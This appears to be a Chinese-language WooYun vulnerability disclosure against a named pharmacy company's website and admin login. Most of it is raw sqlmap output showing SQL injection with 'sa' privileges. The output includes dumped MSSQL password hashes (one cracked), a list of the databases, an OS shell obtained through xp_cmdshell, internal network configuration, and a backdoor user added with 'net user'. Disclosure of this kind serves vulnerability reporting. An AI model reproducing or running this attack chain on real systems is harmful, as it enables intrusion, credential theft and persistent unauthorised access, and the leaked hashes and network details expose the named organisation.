WooYun.org

http://www.hp1997.com/
http://admin.hp1997.com/
首页登录注入
－－－－－－－－－－－－－－－－－－
1、sa权限
[03:00:45] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[03:00:45] [INFO] fetching current user
[03:00:45] [WARNING] reflective value(s) found and filtering out
current user: 'sa'
2、爆密码
database management system users password hashes:
[*] ##MS_PolicyEventProcessingLogin## [1]:
password hash: 0x01003869d680adf63db291c6737f1efb8e4a481b02284215913f
header: 0x0100
salt: 3869d680
mixedcase: adf63db291c6737f1efb8e4a481b02284215913f
[*] ##MS_PolicyTsqlExecutionLogin## [1]:
password hash: 0x01008d22a249df5ef3b79ed321563a1dccdc9cfc5ff954dd2d0f
header: 0x0100
salt: 8d22a249
mixedcase: df5ef3b79ed321563a1dccdc9cfc5ff954dd2d0f
[*] luojie [1]:
password hash: 0x0100453b03ac986aedde7bacb3433378f6034c8f8a4c9cef3c7c
header: 0x0100
salt: 453b03ac
mixedcase: 986aedde7bacb3433378f6034c8f8a4c9cef3c7c
clear-text password: 123456
[*] sa [1]:
password hash: 0x010056049b0eb24f78121c929e58ec0962a34e0762d236ca47bc
header: 0x0100
salt: 56049b0e
mixedcase: b24f78121c929e58ec0962a34e0762d236ca47bc
3、所有数据库
[03:02:16] [INFO] retrieved: "HP_PharmacyShop"
[03:02:16] [INFO] retrieved: "TaoBao"
[03:02:16] [INFO] retrieved: "HP_OnlineAndOffline"
[03:02:16] [INFO] retrieved: "master"
[03:02:16] [INFO] retrieved: "msdb"
[03:02:18] [INFO] retrieved: "model"
[03:02:19] [INFO] retrieved: "tempdb"
available databases [7]:
[*] HP_OnlineAndOffline
[*] HP_PharmacyShop
[*] master
[*] model
[*] msdb
[*] TaoBao
[*] tempdb
4、shell
[03:25:37] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[03:25:37] [INFO] testing if current user is DBA
[03:25:37] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..
[03:25:47] [CRITICAL] there is considerable lagging in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[03:25:47] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based payloads
sqlmap got a 302 redirect to 'http://admin.hp1997.com:80/Frame/main.aspx'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] N
[03:25:48] [INFO] testing if xp_cmdshell extended procedure is usable
[03:25:50] [WARNING] reflective value(s) found and filtering out
[03:25:50] [INFO] the SQL query used returns 1 entries
[03:25:50] [INFO] retrieved: "1"
[03:26:01] [INFO] xp_cmdshell extended procedure is usable
[03:26:01] [INFO] going to use xp_cmdshell extended procedure for operating system command execution
[03:26:01] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> ipconfig /all
do you want to retrieve the command standard output? [Y/n/a] Y
[03:26:20] [INFO] the SQL query used returns 20 entries
[03:26:20] [INFO] starting 2 threads
[03:26:20] [INFO] retrieved: "\\r"
[03:26:20] [INFO] retrieved: "Windows IP Configuration\\r"
[03:26:20] [INFO] retrieved: " Host Name . . . . . . . . . . . . : ecserver\\r"
[03:26:20] [INFO] retrieved: "\\r"
[03:26:22] [INFO] retrieved: " Node Type . . . . . . . . . . . . : Unknown\\r"
[03:26:22] [INFO] retrieved: " IP Routing Enabled. . . . . . . . : No\\r"
[03:26:22] [INFO] retrieved: " Primary Dns Suffix . . . . . . . : \\r"
[03:26:22] [INFO] retrieved: " WINS Proxy Enabled. . . . . . . . : No\\r"
[03:26:22] [INFO] retrieved: "\\r"
[03:26:24] [INFO] retrieved: "Ethernet adapter 本地连接:\\r"
[03:26:24] [INFO] retrieved: "\\r"
[03:26:25] [INFO] retrieved: " Connection-specific DNS Suffix . : \\r"
[03:26:25] [INFO] retrieved: " Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection\\r"
[03:26:25] [INFO] retrieved: " DHCP Enabled. . . . . . . . . . . : No\\r"
[03:26:25] [INFO] retrieved: " Physical Address. . . . . . . . . : 00-50-56-B0-6C-51\\r"
[03:26:25] [INFO] retrieved: " IP Address. . . . . . . . . . . . : 172.168.10.122\\r"
[03:26:25] [INFO] retrieved: " Subnet Mask . . . . . . . . . . . : 255.255.255.0\\r"
[03:26:27] [INFO] retrieved: " Default Gateway . . . . . . . . . : 172.168.10.254\\r"
[03:26:27] [INFO] retrieved: " 172.168.10.21\\r"
[03:26:29] [INFO] retrieved: " DNS Servers . . . . . . . . . . . : 172.168.10.10\\r"
command standard output:
---
Windows IP Configuration
Host Name . . . . . . . . . . . . : ecserver
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Unknown
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter 本地连接:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
Physical Address. . . . . . . . . : 00-50-56-B0-6C-51
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . : 172.168.10.122
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 172.168.10.254
DNS Servers . . . . . . . . . . . : 172.168.10.10
172.168.10.21
---
5、添加用户测试
os-shell> net user wy wy /add
do you want to retrieve the command standard output? [Y/n/a] Y
[03:34:11] [INFO] the SQL query used returns 1 entries
[03:34:12] [INFO] retrieved: "命令成功完成。"
command standard output [1]:
[*] 命令成功完成。
到此为止，剩下的危害你们都知道了，什么管理员密码阿，用户信息阿...